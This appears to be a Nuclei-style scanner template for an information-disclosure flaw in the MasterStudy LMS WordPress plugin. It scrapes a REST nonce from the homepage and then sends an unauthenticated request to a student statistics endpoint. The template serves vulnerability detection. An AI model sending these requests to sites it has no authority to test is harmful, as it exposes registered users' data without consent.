id: CVE-2026-81199 info: name: "MasterStudy LMS WordPress Plugin WordPress - Information Disclosure" author: vedas-arpsyndicate severity: medium description: | The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check before returning a student's learning statistics, allowing unauthenticated attackers to disclose the course counts, points, certificates, quiz and assignment totals of any registered user. reference: - https://www.exploit.observer/?keyword=CVE-2026-81199&match=exact - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2026-81199 cwe-id: CWE-200 metadata: verified: false tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "masterstudy-lms")' - 'len(nonce) > 0' condition: and internal: true extractors: - type: regex name: nonce part: body internal: true group: 1 regex: - 'rest_nonce"?\s*:\s*"?([a-f0-9]{10})' - '"nonce"\s*:\s*"([a-f0-9]{10})"' - raw: - | GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1 Host: {{Hostname}} X-WP-Nonce: {{nonce}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":")' - '!contains_any(body, "forbidden", "rest_nonce_missed")' condition: and